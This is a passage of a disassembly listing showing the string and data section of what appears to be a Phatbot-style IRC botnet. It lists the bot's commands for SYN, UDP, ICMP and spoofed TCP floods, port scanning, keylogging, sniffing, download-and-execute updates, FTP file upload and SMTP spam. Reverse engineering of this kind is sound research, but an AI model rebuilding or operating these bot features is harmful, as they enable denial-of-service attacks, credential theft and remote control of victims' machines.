					; DATA XREF: sub_401ACD+710Eo
dword_429D44	dd 54524150h, 0D732520h, 0Ah ; DATA XREF: sub_401ACD+70D4o
					; sub_401ACD+7C47o
unk_429D50	db  2Dh	; -		; DATA XREF: sub_401ACD+70AFo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aModeChangeS	db 'Mode change: %s',0
aModeS		db 'MODE %s',0Dh,0Ah,0  ; DATA XREF: sub_401ACD+709Eo
		align 4
dword_429D78	dd 234032Dh, 6E6F6C63h,	2D030265h, 77615220h, 73252820h
					; DATA XREF: sub_401ACD+7073o
		dd 25203A29h, 73h
dword_429D94	dd 234032Dh, 6E6F6C63h,	2D030265h, 646F4D20h, 25282065h
					; DATA XREF: sub_401ACD+7004o
		dd 203A2973h, 7325h
dword_429DB0	dd 45444F4Dh, 732520h	; DATA XREF: sub_401ACD+6FA9o
dword_429DB8	dd 234032Dh, 6E6F6C63h,	2D030265h, 63694E20h, 2528206Bh
					; DATA XREF: sub_401ACD+6F79o
		dd 203A2973h, 7325h
dword_429DD4	dd 4E494F4Ah, 20732520h, 7325h ; DATA XREF: sub_401ACD+6F00o
dword_429DE0	dd 0A0D7325h, 0		; DATA XREF: sub_401ACD+6ECEo
					; sub_401ACD+6F57o ...
dword_429DE8	dd 54524150h, 732520h	; DATA XREF: sub_401ACD+6E95o
dword_429DF0	dd 234032Dh, 67726174h,	3023361h ; DATA	XREF: sub_401ACD+6E84o
aFailedToStartF	db '- Failed to start flood thread, error: <%d>.',0
		align 4
dword_429E2C	dd 234032Dh, 67726174h,	3023361h ; DATA	XREF: sub_401ACD+6E15o
aFloodingSForSS	db '- Flooding %s for %s seconds.',0
		align 4
unk_429E58	db  2Dh	; -		; DATA XREF: sub_401ACD+6D85o
		db 3, 34h, 2
		db  74h	; t
		db 73h,	75h, 6Eh
		db  61h	; a
		db 6Dh,	69h, 2
		db    3
aFailedToStar_0	db '- Failed to start flood thread, error: <%d>.',0
		align 4
unk_429E94	db  2Dh	; -		; DATA XREF: sub_401ACD+6D1Ao
		db 3, 34h, 2
		db  74h	; t
		db 73h,	75h, 6Eh
		db  61h	; a
		db 6Dh,	69h, 2
		db    3
aTsunamiHeading	db '- Tsunami heading for %s (%s seconds).',0
unk_429EC8	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408745o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aRepeatNotAllow	db 'Repeat not allowed in command line: %s',0
		align 4
dword_429EFC	dd 234032Dh, 6E69616Dh,	202D0302h, 65706552h, 203A7461h
					; DATA XREF: sub_401ACD+6C3Do
		dd 7325h
dword_429F14	dd 234032Dh, 6E69616Dh,	202D0302h, 616C6544h, 2E79h
					; DATA XREF: sub_401ACD:loc_408673o
dword_429F28	dd 25207325h, 73252073h, 73253A20h, 0 ;	DATA XREF: sub_401ACD+6B62o
					; sub_401ACD+6C14o ...
dword_429F38	dd 234032Dh, 61647075h,	3026574h ; DATA	XREF: sub_401ACD:loc_4085D0o
aBotIdMustBeDif	db '- Bot ID must be different than current running process.',0
		align 10h
dword_429F80	dd 234032Dh, 61647075h,	3026574h ; DATA	XREF: sub_401ACD+6AF9o
aFailedToStartD	db '- Failed to start download thread, error: <%d>.',0
dword_429FBC	dd 234032Dh, 61647075h,	3026574h ; DATA	XREF: sub_401ACD+6A8Ao
aDownloadingUpd	db '- Downloading update from: %s.',0
		align 4
aSS_exe		db '%s%s.exe',0         ; DATA XREF: sub_401ACD+69E2o
		align 4
dword_429FF4	dd 234032Dh, 63657865h,	202D0302h, 6D6D6F43h, 73646E61h
					; DATA XREF: sub_401ACD+6980o
		dd 7325203Ah, 0
unk_42A010	db  2Dh	; -		; DATA XREF: sub_401ACD+6975o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	65h, 63h
		db    2
		db 3, 2Dh, 20h
aCouldnTExecute	db 'Couldn',27h,'t execute file.',0
		align 4
unk_42A034	db  2Dh	; -		; DATA XREF: sub_401ACD+68DBo
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_1	db 'Failed to start search thread, error: <%d>.',0
unk_42A070	db  2Dh	; -		; DATA XREF: sub_401ACD+6865o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aSearchingForFi	db 'Searching for file: %s in: %s.',0
		align 10h
dword_42A0A0	dd 234032Dh, 656C6966h,	2D0302h	; DATA XREF: sub_401ACD:loc_40826Bo
					; sub_401ACD:loc_409366o
unk_42A0AC	db  2Dh	; -		; DATA XREF: sub_401ACD+6789o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aRenameSToS_	db 'Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0
		align 10h
unk_42A0D0	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408234o
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aInvalidFloodTi	db 'Invalid flood time must be greater than 0.',0
		align 4
unk_42A108	db  2Dh	; -		; DATA XREF: sub_401ACD+675Do
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_2	db 'Failed to start flood thread, error: <%d>.',0
		align 10h
unk_42A140	db  2Dh	; -		; DATA XREF: sub_401ACD+66EDo
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aFloodingSFor_0	db 'Flooding: (%s) for %s seconds.',0
		align 4
dword_42A16C	dd 234032Dh, 6E6F6C63h,	3027365h ; DATA	XREF: sub_401ACD+666Ao
aFailedToStar_3	db '- Failed to start clone thread, error: <%d>.',0
		align 4
dword_42A1A8	dd 234032Dh, 6E6F6C63h,	3027365h ; DATA	XREF: sub_401ACD+65FBo
aCreatedOnSDInC	db '- Created on %s:%d, in channel %s.',0
		align 4
unk_42A1D8	db  2Dh	; -		; DATA XREF: sub_401ACD+6582o
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_4	db 'Failed to start flood thread, error: <%d>.',0
		align 10h
unk_42A210	db  2Dh	; -		; DATA XREF: sub_401ACD+6513o
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aFloodingSSForS	db 'Flooding: (%s:%s) for %s seconds.',0
		align 10h
unk_42A240	db  2Dh	; -		; DATA XREF: sub_401ACD+6489o
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aFailedToStar_5	db '- Failed to start flood thread, error: <%d>.',0
		align 4
unk_42A278	db  2Dh	; -		; DATA XREF: sub_401ACD+641Ao
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aFloodingSSFo_0	db '- Flooding: (%s:%s) for %s seconds.',0
		align 4
unk_42A2A8	db  2Dh	; -		; DATA XREF: sub_401ACD+63A1o
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_6	db 'Failed to start flood thread, error: <%d>.',0
		align 10h
unk_42A2E0	db  2Dh	; -		; DATA XREF: sub_401ACD+6332o
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aFloodingSFor_1	db 'Flooding %s for %s seconds using delay %s ms.',0
		align 4
unk_42A31C	db  2Dh	; -		; DATA XREF: sub_401ACD+62B9o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aFailedToStartT	db 'Failed to start transfer thread, error: <%d>.',0
		align 4
unk_42A35C	db  2Dh	; -		; DATA XREF: sub_401ACD+624Ao
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloadingUrl	db 'Downloading URL: %s to: %s.',0
unk_42A388	db  2Dh	; -		; DATA XREF: sub_401ACD+617Bo
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aFailedToStartR	db 'Failed to start redirection thread, error: <%d>.',0
		align 4
unk_42A3CC	db  2Dh	; -		; DATA XREF: sub_401ACD+610Co
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aTcpRedirectCre	db 'TCP redirect created from: %s:%d to: %s:%d.',0
unk_42A408	db  2Dh	; -		; DATA XREF: sub_401ACD+600Fo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPortScanStarte	db 'Port scan started: %s:%d with delay: %d(ms).',0
		align 4
aSSS_1		db '[%s] <%s> %s',0     ; DATA XREF: sub_401ACD+5F63o
		align 4
aSSS_2		db '[%s] * %s %s',0     ; DATA XREF: sub_401ACD+5E86o
		align 4
dword_42A464	dd 54434101h, 204E4F49h, 17325h	; DATA XREF: sub_401ACD+5DF2o
					; sub_401ACD+715Ao
unk_42A470	db  2Dh	; -		; DATA XREF: sub_401ACD+5D8Eo
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_7	db 'Failed to start scan thread, error: <%d>.',0
		align 4
unk_42A4AC	db  2Dh	; -		; DATA XREF: sub_401ACD+5D1Fo
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPortScanStar_0	db 'Port scan started: %s with delay: %d(ms) checking range %d-%d.',0
		align 4
unk_42A4FC	db  2Dh	; -		; DATA XREF: sub_401ACD+5C88o
					; sub_401ACD+607Eo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_8	db 'Failed to start scan thread, error: <%d>.',0
		align 4
unk_42A534	db  2Dh	; -		; DATA XREF: sub_401ACD+5C19o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSPortScanStart	db '%s Port Scan started on %s:%d with a delay of %d seconds for %d m'
		db 'inutes using %d threads.',0
		align 4
unk_42A59C	db  2Dh	; -		; DATA XREF: sub_401ACD+5AA3o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_9	db 'Failed to start scan, no IP specified.',0
		align 10h
unk_42A5D0	db  2Dh	; -		; DATA XREF: sub_401ACD+5A46o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToSta_10	db 'Failed to start scan, port is invalid.',0
		align 4
unk_42A604	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4073F3o
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aUploadingFileS	db '- Uploading file: %s to: %s failed.',0
		align 4
unk_42A634	db  2Dh	; -		; DATA XREF: sub_401ACD+591Fo
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aUploadingFil_0	db '- Uploading file: %s to: %s',0
		align 4
aFtp_exe	db 'ftp.exe',0          ; DATA XREF: sub_401ACD+5906o
aSS_2		db '-s:%s',0            ; DATA XREF: sub_401ACD+58EFo
		align 4
aOpenSSSSPutSBy	db 'open %s',0Dh,0Ah    ; DATA XREF: sub_401ACD+58CCo
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db 'put %s',0Dh,0Ah
		db 'bye',0Dh,0Ah,0
		align 10h
aAb		db 'ab',0               ; DATA XREF: sub_401ACD+58A8o
					; ___:00411C61o
		align 4
aSIII_dll	db '%s\%i%i%i.dll',0    ; DATA XREF: sub_401ACD+5897o
		align 4
unk_42A6A4	db  2Dh	; -		; DATA XREF: sub_401ACD+584Do
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aFileNotFoundS_	db '- File not found: %s.',0
		align 4
aUpload		db 'upload',0           ; DATA XREF: sub_401ACD+582Ao
		align 4
unk_42A6CC	db  2Dh	; -		; DATA XREF: sub_401ACD+57F4o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aAlreadyDScanni	db 'Already %d scanning threads. Too many specified.',0
		align 4
unk_42A70C	db  2Dh	; -		; DATA XREF: sub_401ACD+5797o
		db 3, 34h, 2
		db  75h	; u
		db 64h,	70h, 2
		db    3
aFailedToSta_11	db '- Failed to start flood thread, error: <%d>.',0
		align 4
unk_42A744	db  2Dh	; -		; DATA XREF: sub_401ACD+572Co
		db 3, 34h, 2
		db  75h	; u
		db 64h,	70h, 2
		db    3
aSendingDPacket	db '- Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0
		align 4
unk_42A78C	db  2Dh	; -		; DATA XREF: sub_401ACD+567Bo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aMessageHasBeen	db '- Message has been sent successfuly',0
		align 10h
unk_42A7C0	db  2Dh	; -		; DATA XREF: sub_401ACD+5647o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aFailedToSendMe	db '- Failed to send message, error <%i>.',0
		align 4
unk_42A7F4	db  2Dh	; -		; DATA XREF: sub_401ACD+5623o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aNetsendDoesNot	db '- NetSend does not work on Win9x systems',0
		align 4
unk_42A82C	db  2Dh	; -		; DATA XREF: sub_401ACD+5581o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aSendingMessage	db '- Sending message %s times to %s using name %s',0
aIcmp_dllNotAva	db 'ICMP.dll not available',0 ; DATA XREF: sub_401ACD+5564o
		align 10h
unk_42A880	db  2Dh	; -		; DATA XREF: sub_401ACD+554Fo
		db 3, 34h, 2
		db  70h	; p
		db 69h,	6Eh, 67h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_12	db 'Failed to start flood thread, error: <%d>.',0
		align 4
unk_42A8B8	db  2Dh	; -		; DATA XREF: sub_401ACD+54E0o
		db 3, 34h, 2
		db  70h	; p
		db 69h,	6Eh, 67h
		db    2
		db 3, 2Dh, 20h
aSendingDPingsT	db 'Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0
		align 10h
unk_42A900	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_406EFFo
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aInvalidFlood_0	db '- Invalid flood time must be greater than 0.',0
		align 4
unk_42A938	db  2Dh	; -		; DATA XREF: sub_401ACD+5428o
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aFailedToSta_13	db '- Failed to start flood thread, error: <%d>.',0
		align 10h
unk_42A970	db  2Dh	; -		; DATA XREF: sub_401ACD+53AEo
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aSSFloodingSSFo	db '- %s %s flooding: (%s:%s) for %s seconds.',0
		align 4
aNormal		db 'Normal',0           ; DATA XREF: sub_401ACD+539Eo
		align 4
aSpoofed	db 'Spoofed',0          ; DATA XREF: sub_401ACD+5397o
unk_42A9B4	db  2Dh	; -		; DATA XREF: sub_401ACD+52FCo
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aInvalidFloodTy	db '- Invalid flood type specified.',0
		align 10h
aRandom_0	db 'random',0           ; DATA XREF: sub_401ACD+52ECo
		align 4
aAck		db 'ack',0              ; DATA XREF: sub_401ACD+52D5o
aHcon		db 'hcon',0             ; DATA XREF: sub_401ACD+525Fo
		align 4
aHttpcon	db 'httpcon',0          ; DATA XREF: sub_401ACD+524Co
unk_42A9FC	db  2Dh	; -		; DATA XREF: sub_401ACD+51FDo
		db 3, 34h, 2
		db  65h	; e
		db 6Dh,	61h, 69h
		db  6Ch	; l
		db 2, 3, 2Dh
aMessageSentToS	db ' Message sent to %s.',0
		align 10h
aHeloRndnickMai	db 'helo $rndnick',0Ah  ; DATA XREF: sub_401ACD+5189o
		db 'mail from: <%s>',0Ah
		db 'rcpt to: <%s>',0Ah
		db 'data',0Ah
		db 'subject: %s',0Ah
		db 'from: %s',0Ah
		db '%s',0Ah
		db '.',0Ah,0
aEmail		db 'email',0            ; DATA XREF: sub_401ACD+509Eo
		align 4
aTcp		db 'tcp',0              ; DATA XREF: sub_401ACD+5087o
aTcpflood	db 'tcpflood',0         ; DATA XREF: sub_401ACD+5070o
		align 4
aP:					; DATA XREF: sub_401ACD+5059o
					; ___:00437C48o
		unicode	0, <p>,0
aPing_0		db 'ping',0             ; DATA XREF: sub_401ACD+5042o
		align 10h
aPingflood	db 'pingflood',0        ; DATA XREF: sub_401ACD+502Bo
		align 4
aNs		db 'ns',0               ; DATA XREF: sub_401ACD+5014o
		align 10h
aNetsend	db 'netsend',0          ; DATA XREF: sub_401ACD+4FFDo
aU:					; DATA XREF: sub_401ACD+4FE6o
		unicode	0, <u>,0
aUdp		db 'udp',0              ; DATA XREF: sub_401ACD+4FCFo
aUdpflood	db 'udpflood',0         ; DATA XREF: sub_401ACD+4FB8o
		align 4
aAsc		db 'asc',0              ; DATA XREF: sub_401ACD+4FA1o
aAdvscan	db 'advscan',0          ; DATA XREF: sub_401ACD+4F8Ao
aPsc		db 'psc',0              ; DATA XREF: sub_401ACD+4F73o
aPortscan	db 'portscan',0         ; DATA XREF: sub_401ACD+4F5Co
		align 4
aC_a		db 'c_a',0              ; DATA XREF: sub_401ACD+4F36o
aC_action	db 'c_action',0         ; DATA XREF: sub_401ACD+4F1Fo
		align 4
aC_pm		db 'c_pm',0             ; DATA XREF: sub_401ACD+4F08o
		align 10h
aC_privmsg	db 'c_privmsg',0        ; DATA XREF: sub_401ACD+4EF1o
		align 4
aSc		db 'sc',0               ; DATA XREF: sub_401ACD+4EDAo
		align 10h
aScan		db 'scan',0             ; DATA XREF: sub_401ACD+4EC3o
		align 4
aRd		db 'rd',0               ; DATA XREF: sub_401ACD+4EACo
		align 4
aRedirect	db 'redirect',0         ; DATA XREF: sub_401ACD+4E95o
		align 4
aJpl10		db 'jpl10',0            ; DATA XREF: sub_401ACD+4E7Eo
		align 10h
aJpldg10	db 'jpldg10',0          ; DATA XREF: sub_401ACD+4E67o
aWonk		db 'wonk',0             ; DATA XREF: sub_401ACD+4E50o
		align 10h
aPhatwonk	db 'phatwonk',0         ; DATA XREF: sub_401ACD+4E39o
		align 4
dword_42AB3C	dd 234032Dh, 73796B73h,	3026E79h ; DATA	XREF: sub_401ACD+4E2Co
aFailedToSta_14	db '- Failed to start flood thread, error: <%d>.',0
		align 4
dword_42AB78	dd 234032Dh, 73796B73h,	3026E79h ; DATA	XREF: sub_401ACD+4DBDo
aFloodingSSFo_1	db '- Flooding: (%s:%s) for %s seconds.',0
aSkysyn		db 'skysyn',0           ; DATA XREF: sub_401ACD+4D3Ao
		align 10h
aSyn		db 'syn',0              ; DATA XREF: sub_401ACD+4D23o
					; sub_401ACD+52BDo
aSynflood	db 'synflood',0         ; DATA XREF: sub_401ACD+4D0Co
		align 10h
unk_42ABC0	db  2Dh	; -		; DATA XREF: sub_401ACD+4CFFo
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aFailedToSta_15	db '- Failed to start flood thread, error: <%d>.',0
		align 10h
aWisdom_udp	db 'wisdom.udp',0       ; DATA XREF: sub_401ACD+4C28o
		align 4
aDdos_random	db 'ddos.random',0      ; DATA XREF: sub_401ACD+4C11o
					; sub_412B08:loc_412C34o
aDdos_ack	db 'ddos.ack',0         ; DATA XREF: sub_401ACD+4BFAo
					; sub_412B08:loc_412C18o
		align 4
aDdos_syn	db 'ddos.syn',0         ; DATA XREF: sub_401ACD+4BE3o
					; sub_412B08+F1o
		align 10h
aC:					; DATA XREF: sub_401ACD+4BCCo
					; ___:00437C78o
		unicode	0, <c>,0
aClone_0	db 'clone',0            ; DATA XREF: sub_401ACD+4BB5o
		align 4
aIcmp		db 'icmp',0             ; DATA XREF: sub_401ACD+4B8Co
		align 4
aIcmpflood	db 'icmpflood',0        ; DATA XREF: sub_401ACD+4B75o
		align 10h
aMv		db 'mv',0               ; DATA XREF: sub_401ACD+4B5Eo
		align 4
aRename		db 'rename',0           ; DATA XREF: sub_401ACD+4B47o
		align 4
aFf		db 'ff',0               ; DATA XREF: sub_401ACD+4B30o
		align 10h
aFindfile	db 'findfile',0         ; DATA XREF: sub_401ACD+4B19o
		align 4
aE:					; DATA XREF: sub_401ACD+4B02o
					; ___:00437C30o ...
		unicode	0, <e>,0
aExecute	db 'execute',0          ; DATA XREF: sub_401ACD+4AEBo
aJp10		db 'jp]10',0            ; DATA XREF: sub_401ACD+4AD4o
		align 10h
aJpDe100	db 'jp]de100',0         ; DATA XREF: sub_401ACD+4ABDo
		align 4
aDe		db 'de',0               ; DATA XREF: sub_401ACD+4AA6o
		align 10h
aDelay		db 'delay',0            ; DATA XREF: sub_401ACD+4A8Fo
		align 4
aRp		db 'rp',0               ; DATA XREF: sub_401ACD+4A78o
		align 4
aRepeat		db 'repeat',0           ; DATA XREF: sub_401ACD+4A61o
					; sub_401ACD+6BE7o
		align 4
aTsn		db 'tsn',0              ; DATA XREF: sub_401ACD+4A4Ao
aTsunami	db 'tsunami',0          ; DATA XREF: sub_401ACD+4A33o
aT3		db 't3',0               ; DATA XREF: sub_401ACD+4A1Co
		align 4
aTarga3		db 'targa3',0           ; DATA XREF: sub_401ACD+4A05o
		align 4
aC_p		db 'c_p',0              ; DATA XREF: sub_401ACD+49EEo
aC_part		db 'c_part',0           ; DATA XREF: sub_401ACD+49D7o
		align 4
aC_j		db 'c_j',0              ; DATA XREF: sub_401ACD+49C0o
aC_join		db 'c_join',0           ; DATA XREF: sub_401ACD+49A9o
		align 4
aC_n		db 'c_n',0              ; DATA XREF: sub_401ACD+4992o
aC_nick		db 'c_nick',0           ; DATA XREF: sub_401ACD+497Bo
		align 10h
aC_m		db 'c_m',0              ; DATA XREF: sub_401ACD+4964o
aC_mode		db 'c_mode',0           ; DATA XREF: sub_401ACD+494Do
		align 4
aC_r		db 'c_r',0              ; DATA XREF: sub_401ACD+4936o
aC_raw		db 'c_raw',0            ; DATA XREF: sub_401ACD+491Fo
		align 4
aM:					; DATA XREF: sub_401ACD+4908o
					; ___:00437C88o
		unicode	0, <m>,0
aCy		db 'cy',0               ; DATA XREF: sub_401ACD+48DAo
		align 10h
aCycle		db 'cycle',0            ; DATA XREF: sub_401ACD+48C3o
		align 4
aA:					; DATA XREF: sub_401ACD+48ACo
					; ___:00437C4Co
		unicode	0, <a>,0
aAction		db 'action',0           ; DATA XREF: sub_401ACD+4895o
		align 4
aPrivmsg_0	db 'privmsg',0          ; DATA XREF: sub_401ACD+4867o
aAa		db 'aa',0               ; DATA XREF: sub_401ACD+4850o
		align 10h
aAddalias	db 'addalias',0         ; DATA XREF: sub_401ACD+4839o
		align 4
aKl		db 'kl',0               ; DATA XREF: sub_401ACD+4822o
		align 10h
aKilllog	db 'killlog',0          ; DATA XREF: sub_401ACD+480Bo
aGh		db 'gh',0               ; DATA XREF: sub_401ACD+47E2o
		align 4
aGethost	db 'gethost',0          ; DATA XREF: sub_401ACD+47CDo
aCap		db 'cap',0              ; DATA XREF: sub_401ACD+47B8o
aCapture	db 'capture',0          ; DATA XREF: sub_401ACD+47A3o
unk_42AD50	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_406265o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aCommandUnknown	db '- Command unknown.',0
unk_42AD6C	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_40625Bo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aNoMessageSpeci	db '- No message specified.',0
		align 10h
aSend		db 'send',0             ; DATA XREF: sub_401ACD+475Eo
					; sub_409B12+5F0o
		align 4
unk_42AD98	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_40621Eo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListFailed	db '- User list failed.',0
		align 4
unk_42ADB8	db  2Dh	; -		; DATA XREF: sub_401ACD+4747o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListComple	db '- User list completed.',0
aUser		db 'user',0             ; DATA XREF: sub_401ACD+46D3o
		align 10h
unk_42ADE0	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_406193o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListFaile	db '- Share list failed.',0
		align 10h
unk_42AE00	db  2Dh	; -		; DATA XREF: sub_401ACD+46BCo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListCompl	db '- Share list completed.',0
		align 4
aShare		db 'share',0            ; DATA XREF: sub_401ACD+466Eo
		align 4
aContinue	db 'continue',0         ; DATA XREF: sub_401ACD+462Ao
		align 4
aPause		db 'pause',0            ; DATA XREF: sub_401ACD+4610o
		align 10h
aStop		db 'stop',0             ; DATA XREF: sub_401ACD+45F6o
		align 4
unk_42AE48	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4060B6o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aServiceListFai	db '- Service list failed.',0
unk_42AE68	db  2Dh	; -		; DATA XREF: sub_401ACD+45DFo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aServiceListCom	db '- Service list completed.',0
		align 4
aStart		db 'start',0            ; DATA XREF: sub_401ACD+45A9o
		align 4
unk_42AE94	db  2Dh	; -		; DATA XREF: sub_401ACD+4577o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aFailedToLoadAd	db '- Failed to load advapi32.dll or netapi32.dll.',0
aNet		db 'net',0              ; DATA XREF: sub_401ACD+4553o
dword_42AED0	dd 234032Dh, 6C79656Bh,	302676Fh ; DATA	XREF: sub_401ACD+4548o
aFailedToStartL	db '- Failed to start logging thread, error: <%d>.',0
		align 4
dword_42AF0C	dd 234032Dh, 6C79656Bh,	302676Fh ; DATA	XREF: sub_401ACD+44D9o
aKeyLoggerActiv	db '- Key logger active.',0
		align 10h
dword_42AF30	dd 234032Dh, 6C79656Bh,	302676Fh ; DATA	XREF: sub_401ACD+4457o
aAlreadyRunning	db '- Already running.',0
		align 10h
dword_42AF50	dd 234032Dh, 6C79656Bh,	302676Fh ; DATA	XREF: sub_401ACD:loc_405F0Eo
aNoKeyLoggerThr	db '- No key logger thread found.',0
		align 4
dword_42AF7C	dd 234032Dh, 6C79656Bh,	302676Fh ; DATA	XREF: sub_401ACD+4437o
aKeyLoggerStopp	db '- Key logger stopped. (%d thread(s) stopped.)',0
		align 4
aFile		db 'file',0             ; DATA XREF: sub_401ACD+43F8o
		align 10h
aKeylog		db 'keylog',0           ; DATA XREF: sub_401ACD+43D6o
		align 4
dword_42AFC8	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD:loc_405E98o
aNoThreadFound_	db '- No thread found.',0
		align 4
dword_42AFE8	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD+43C1o
aServerStopped_	db '- Server stopped. (%d thread(s) stopped.)',0
		align 10h
dword_42B020	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD+4391o
aFailedToSta_16	db '- Failed to start server, error: <%d>.',0
		align 4
dword_42B054	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD+4344o
aServerRunnin_0	db '- Server running on Port: 113.',0
		align 10h
dword_42B080	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD+4334o
aAlreadyRunni_0	db '- Already running.',0
		align 10h
aIdent		db 'ident',0            ; DATA XREF: sub_401ACD+4301o
		align 4
unk_42B0A8	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_405DC3o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aNoPhatbotSniff	db '- No Phatbot sniffer thread found.',0
unk_42B0D8	db  2Dh	; -		; DATA XREF: sub_401ACD+42ECo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aPhatbotSniffer	db '- Phatbot sniffer stopped. (%d thread(s) stopped.)',0
unk_42B118	db  2Dh	; -		; DATA XREF: sub_401ACD+42BCo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
